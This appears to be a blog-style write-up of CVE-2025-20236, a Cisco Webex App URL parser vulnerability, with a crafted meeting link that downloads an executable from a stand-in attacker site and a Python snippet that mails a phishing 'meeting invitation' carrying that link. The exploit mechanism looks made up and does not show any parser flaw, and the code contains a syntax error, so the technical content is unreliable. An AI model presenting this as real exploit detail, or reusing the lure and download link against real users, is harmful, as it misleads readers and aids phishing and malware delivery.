A significant vulnerability has been found in Cisco Webex App's custom URL parser. This vulnerability allows unauthenticated remote attackers to persuade users to download arbitrary files, leveraging that access to execute commands on the target user's host arbitrarily. This vulnerability is due to inadequate input validation in the Cisco Webex App when processing a meeting invitation link.

This post explains the exploit details, provides a code snippet demonstrating the vulnerability, and link to the original references where you can find more information.

Exploit Details

To exploit this vulnerability, an attacker must persuade a user to click a crafted meeting invite link and download arbitrary files. If the attacker achieves this, they can then execute arbitrary commands with the privileges of the targeted user. This vulnerability is especially dangerous because it does not require authentication and can be exploited remotely, making it a high-priority issue for Cisco Webex App users.

An example of a crafted malicious URL could look like this

https://example.webex.com/meet/johndoe?download=http://attackerwebsite.com/maliciousfile.exe

In this example, the attacker has crafted a URL that is directed to download the maliciousfile.exe from the attacker's website when the user clicks the link. If the targeted user clicks this link, the arbitrary file is downloaded, and the attacker can execute commands with the targeted user's privileges.

This code snippet demonstrates the vulnerability

import requests

# The crafted, malicious URL that contains the file download
malicious_url = "https://example.webex.com/meet/johndoe?download=http://attackerwebsite.com/maliciousfile.exe"

# The target user's email address
target_email = "target.user@example.com"

# Send an email with the malicious URL to the target user
email_body = f"Hi there,\n\nPlease join our meeting by clicking the following link:\n\n{malicious_url}\n\nLooking forward to meeting you!"

email_subject = "Important Meeting Invitation"
requests.post(
    "https://email-sending-api.example.com/send";,
    json={"to": target_email, "subject": email_subject, "body": email_body}
)

As seen in the code above, the attacker sends an email posing as a legitimate meeting invitation. However, the link contains the malicious URL that downloads the arbitrary file when clicked.

Original References

For more information about this vulnerability, including a detailed description, affected products, and patch information, please refer to the following original references:

1. Cisco Advisory: Cisco Webex App Custom URL Parser Vulnerability
2. CVE-2025-20236 Details and Description from Mitre

Conclusion

The CVE-2025-20236 vulnerability poses a significant risk to Cisco Webex App users, as it allows unauthenticated remote attackers to execute arbitrary commands on the target user's host. Users and administrators are strongly advised to apply patches released by Cisco to mitigate this vulnerability. Be cautious of unknown meeting invitation links and always verify the legitimacy of the sender before clicking on any links.

Timeline

Published on: 04/16/2025 17:15:49 UTC
Last modified on: 04/17/2025 20:22:16 UTC